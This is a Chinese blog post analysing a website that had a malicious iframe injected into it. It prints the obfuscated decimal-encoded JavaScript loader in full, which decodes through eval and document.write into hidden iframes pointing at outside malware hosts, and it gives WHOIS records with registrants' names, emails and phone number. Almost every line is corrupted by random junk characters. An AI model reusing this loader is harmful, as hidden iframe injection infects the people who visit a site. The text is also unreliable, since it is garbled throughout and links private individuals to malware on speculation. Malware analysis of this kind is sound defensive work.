首发在我的博客里面，
u;@~P ON.1'Wk? http://www.areway.cn/?p=175 D]P_tJI 7,^.h<@K j@ehcK9| 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
`<cn b!] [wLK*9@& <script>t=’60,105,102,114,97,109,101,
S)n+E\c 32,115,114,99,61,104,116,116,112,58,47,47,
9Q*T'+V 102,114,101,101,46,117,45,117,117,117,46,99,
DK6^\k][V 110,47,101,114,114,111,114,46,104,116,109,
xAZ-_ }'tW 32,119,105,100,116,104,61,49,48,48,32,104,
_klT 101,105,103,104,116,61,48,62,60,47,105,102,
e-@.+ f2CC 114,97,109,101,62′;
sWG_MEbu t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
W`vgH/lSnZ _"4u?C# <script>t=’60,105,102,114,97,109,101,32,115,
d_ [l{ 114,99,61,104,116,116,112,58,47,47,102,114,
sYMgi D 101,101,46,117,45,117,117,117,46,99,110,47,
jPDk~| 101,114,114,111,114,46,104,116,109,32,119,
L\ GjG&Y5 105,100,116,104,61,49,48,48,32,104,101,105,
mi`jY0e2 103,104,116,61,48,62,60,47,105,102,114,97,
`]T# uP<u 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
zyHHz\{ document.write(t);</script>
fN|'aq*Pd F4b$ <html xmlns=”
(4GDh% http://www.w3.org/1999/xhtml 6g6BE^o\ “>
hxT {!g <head>
Hv3<gyD <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
;Z asK0 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
y ;$
!J <title>首页 - 爱生活家庭网
Mk NPC u#Z#NP ~F0 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Z <Rhn 转换字符串后的大概内容是（谁点击后果自付）：
u`ezQvrcy <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
o*r
2T4 8 "/#=8_ f 查询玉米u-uuu.cn的详细信息：
.)Wqo7/Gx Domain Name: u-uuu.cn
.%x1%TN ROID: 20070901s10001s64972306-cn
W Z_yaG$U Domain Status: ok
EE,57( Registrant Organization: 王雷
$~h\`vF& Registrant Name: 王雷
Vw@?t(l > Administrative Email:
czlovexs@126.com gfPR3%EXs Sponsoring Registrar: 北京万网志成科技有限公司
'xG: v)( Name Server:ns.yovole.com
CAJ]@P#Xj+ Name Server:ns1.yovole.com
eX 0due Registration Date: 2007-09-01 17:54
A,u}p rwH Expiration Date: 2008-09-01 17:54
H,Y+n)5 最后PING了一下地址 都没有什么….
G+S MH`h # f e%E. 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
(+i Oy/5#u <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
d EvjB" x <script language=”javascript” src=”
p7Xe[94d^ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script >[qoNy; >
qhQeQ 这个玉米应该有可能是木马作者的：
Zr#\>h 'c foafau.info的详细信息：
S= ^kR [O" Access to INFO WHOIS information is provided to assist persons in
?c6`p3p3L determining the contents of a domain name registration record in the
\F'tl{'\@ Afilias registry database. The data in this record is provided by
#GVf +8" Afilias Limited for informational purposes only, and Afilias does not
/>13?o# guarantee its accuracy. This service is intended only for query-based
2 {I(A2 access. You agree that you will use this data only for lawful purposes
yh'P17N|q and that, under no circumstances will you use this data to: (a) allow,
` 0z8J*T] enable, or otherwise support the transmission by e-mail, telephone, or
d7U%Q8?wUR facsimile of mass unsolicited, commercial advertising or solicitations
eKv{N\E to entities other than the data recipient’s own existing customers; or
u$MXO].Q (b) enable high volume, automated, electronic processes that send
4\ pUA4 queries or data to the systems of Registry Operator, a Registrar, or
Tw]].|^f- Afilias except as reasonably necessary to register domain names or
n#dv BK0M modify existing registrations. All rights reserved. Afilias reserves
t/KH` the right to modify these terms at any time. By submitting this query,
ETMF.-P you agree to abide by this policy.
u]$e@Vw. Domain ID:D22418703-LRMS
vFx0B? Domain Name:FOAFAU.INFO
+\yQZ{4'@ Created On:20-Nov-2007 16:05:42 UTC
nv OJY6)$V Last Updated On:20-Nov-2007 16:05:44 UTC
Zk*!,, P! Expiration Date:20-Nov-2008 16:05:42 UTC
SKdh !*G Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
M\!z='Fi Status:CLIENT DELETE PROHIBITED
IPDQ Status:CLIENT RENEW PROHIBITED
py':UQS*q Status:CLIENT TRANSFER PROHIBITED
;W2Rl%z88 Status:CLIENT UPDATE PROHIBITED
z <jH{ AU Status:TRANSFER PROHIBITED
1R"?X'w Registrant ID:GODA-040110615
)Zbrg~-@ Registrant Name:liu hong
\ 0J &^C Registrant Organization:
av:9kP Km Registrant Street1:beijing
.?NraydwV Registrant Street2:
)ePQN~#K} Registrant Street3:
H"vy[/ UcR Registrant City:beijing
CGCI3Z' Registrant State/Province:
EL gq#z Registrant Postal Code:100000
~^ ^|]s3 Registrant Country:CN
Pu `;B Registrant Phone:+86.860108888777
3j } @}2D Registrant Phone Ext.:
J5j3#2l Registrant FAX:
)W 0z Registrant FAX Ext.:
w\{oOlE Registrant Email:bbbshiji@163.com
56l1&hp8In Admin ID:GODA-240110615
Nz AMX+L Admin Name:liu hong
VPI;{0kh Admin Organization:
^E}};CsT Admin Street1:beijing
LmjzH@3 Admin Street2:
r zO5 3\ Admin Street3:
6 JUjT]S% Admin City:beijing
W*jwf@
0 Admin State/Province:
4lsg%b6_%, Admin Postal Code:100000
3?Tk[m1b Admin Country:CN
Dqg~g|(Q< Admin Phone:+86.860108888777
G\ m`{jv Admin Phone Ext.:
i8+[-mh Admin FAX:
tO8<N'TD Admin FAX Ext.:
/5&' U!:+ Admin Email:bbbshiji@163.com
SMIr@*R Billing ID:GODA-340110615
u0?,CQPL Billing Name:liu hong
t(Sjo8,
b Billing Organization:
=1e>$E# Billing Street1:beijing
Y-y<gW Billing Street2:
R\ZyS
)~l Billing Street3:
m6iQB\ \ Billing City:beijing
=ec"G2$?" Billing State/Province:
|x/00XhS Billing Postal Code:100000
uh
3yiDj@a Billing Country:CN
|4?O4QN Billing Phone:+86.860108888777
M.h8Kr!. Billing Phone Ext.:
)zYm] \@ Billing FAX:
Pp ~:e} Billing FAX Ext.:
p)y'a+|7 Billing Email:bbbshiji@163.com
-V ' h>K Tech ID:GODA-140110615
x17K8 De Tech Name:liu hong
Kq4b`cn{_ Tech Organization:
K'u66%wAL Tech Street1:beijing
)4CF*>*6V Tech Street2:
TD6MP9L Tech Street3:
s!eB8lkcT Tech City:beijing
9%6W_ 0> Tech State/Province:
%5rC`9 ^ Tech Postal Code:100000
c@<vFoq Tech Country:CN
_X"G( Tech Phone:+86.860108888777
Y2 QX9RN Tech Phone Ext.:
n[tES6u Tech FAX:
H;k-@J Tech FAX Ext.:
9S!
2r Tech Email:bbbshiji@163.com
#a|.cm>6 Name Server:NS27.DOMAINCONTROL.COM
'~;vp Name Server:NS28.DOMAINCONTROL.COM
]s<}'& Name Server:
na-mh
E ,H Name Server:
p6|RV(?8 Name Server:
MFqM 6_ Name Server:
/KLs+^c5 Name Server:
$#LR4 [Fq Name Server:
}n[<$*W^ Name Server:
k%2Rv4)hU Name Server:
n7*.zI]%& Name Server:
DVLF8]5 Name Server:
MQ7Hn;`B Name Server:
OK \F Nub)]S>_/t 接着下载每个文件里面的代码：
*@SZ0 一步一步看..
I m<( 
d^W1;0 
,'z=cB`+o 
/\e&nYz 
Aat-938FP6 
#s]'2O 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
